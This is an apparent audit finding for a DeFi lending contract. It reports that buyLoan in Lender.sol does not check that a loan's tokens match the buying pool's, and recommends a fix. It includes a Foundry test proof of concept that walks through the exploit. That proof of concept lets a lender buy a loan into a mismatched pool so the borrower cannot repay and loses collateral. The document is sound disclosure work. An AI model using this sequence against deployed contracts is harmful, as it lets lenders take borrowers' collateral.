20,000 USDC
View results
Submission Details
Severity: high
Valid

`buyLoan` function in Lender.sol does not check for Token mismatch between `loan` and `pool` causing borrowers to lose collateral funds

Summary

buyLoan function does not check if pools[poolId] and loans[loanId] have the same loanToken and collateralToken. Because of this a lender can buy a loan with a pool that uses different loanToken and collateralToken. This results in the borrower of the loan not being able to pay his debt, which means the borrower will lose his collateral. The lender that purchased the loan with the mismatched token pool can end up getting that borrower's collateral (The process of claiming the collateral here is not very straightforward since the lender would have to start an auction, wait for it to end, then in one transaction create a pool with the correct tokens and seizeLoan() the user). If a legitimate pool buys the loan from the mismatched token pool during the auction the borrower would be able to repay the loan.

Vulnerability Details

Below is a proof of concept illustrating the vulnerability. This is coded within the test suite of the protocol with the following code written to create another set of loanTokens and collateralTokens.

// @audit adding these so we have pools with different tokens
TERC20 public loanToken_2;
TERC20 public collateralToken_2;
loanToken_2 = new TERC20();
collateralToken_2 = new TERC20();

POC:

function test_MissingTokenMatchCheckOnBuyLoanFunction() public {
// mint some of the new tokens to the lenders and borrower
loanToken_2.mint(address(lender1), 100000 * 10 ** 18);
loanToken_2.mint(address(lender2), 100000 * 10 ** 18);
collateralToken_2.mint(address(borrower), 100000 * 10 ** 18);
// approve lender contract to spend the tokens
vm.startPrank(lender1);
loanToken_2.approve(address(lender), 1000000 * 10 ** 18);
collateralToken_2.approve(address(lender), 1000000 * 10 ** 18);
vm.startPrank(lender2);
loanToken_2.approve(address(lender), 1000000 * 10 ** 18);
collateralToken_2.approve(address(lender), 1000000 * 10 ** 18);
vm.startPrank(borrower);
loanToken_2.approve(address(lender), 1000000 * 10 ** 18);
collateralToken_2.approve(address(lender), 1000000 * 10 ** 18);
// setting up lender1's pool
vm.startPrank(lender1);
Pool memory p_1 = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId_1 = lender.setPool(p_1);
// setting up lender2's pool
vm.startPrank(lender2);
Pool memory p_2 = Pool({
lender: lender2,
loanToken: address(loanToken_2),
collateralToken: address(collateralToken_2),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId_2 = lender.setPool(p_2);
// now lets have borrower borrow from lender 1 so there's a loan to sell
vm.startPrank(borrower);
Borrow memory b = Borrow({poolId: poolId_1, debt: 100 * 10 ** 18, collateral: 100 * 10 ** 18});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
assertEq(loanToken.balanceOf(address(borrower)), 995 * 10 ** 17);
assertEq(collateralToken.balanceOf(address(lender)), 100 * 10 ** 18);
(,,,, uint256 poolBalance,,,,) = lender.pools(poolId_1);
assertEq(poolBalance, 900 * 10 ** 18);
// now lender 1 starts an auction
vm.startPrank(lender1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
// warp to middle of auction
vm.warp(block.timestamp + 12 hours);
// Lender 2 who has different loan and collateralToken buys the loan
vm.startPrank(lender2);
lender.buyLoan(0, poolId_2);
console.log(address(loanToken));
console.log(address(collateralToken));
console.log(address(loanToken_2));
console.log(address(collateralToken_2));
// now lender 2 owns the loan even though his pool's tokens do not match the loans token
// this results in the borrower not being able to pay his loan
vm.startPrank(borrower);
loanToken_2.mint(address(borrower), 100000 * 10 ** 18);
loanToken.mint(address(borrower), 100000 * 10 ** 18);
// expect this to revert
vm.expectRevert();
lender.repay(loanIds);
// Comment out the above two SLOC and uncomment the ones below to see that calling a refinance also does not work
// Refinance memory refinance = Refinance({
// loanId: 0,
// poolId: poolId_1,
// debt: 100 * 10 ** 18,
// collateral: 100 * 10 ** 18
// });
// Refinance[] memory refinance_array = new Refinance[](1);
// refinance_array[0] = refinance;
// vm.expectRevert();
// lender.refinance(refinance_array);
}

Impact

Lenders, maliciously or accidentally, can cause borrowers to lose their collateral since they are not able to repay their debt or call the refinance function.

Lenders have motivation to act maliciously here since they could end up gaining the lost collateral.

Since loans will most definitely be required to be over-collateralized this will cause a big loss for the borrowers.

Tools Used

Foundry & Manual Review.

Recommendations

add the following code to buyLoan function, in order to check that the tokens on the loan match the tokens on the pool.

if (pools[poolId].loanToken != loans[loanId].loanToken) {
revert TokenMismatch();
}
if (pools[poolId].collateralToken != loans[loanId].collateralToken) {
revert TokenMismatch();
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!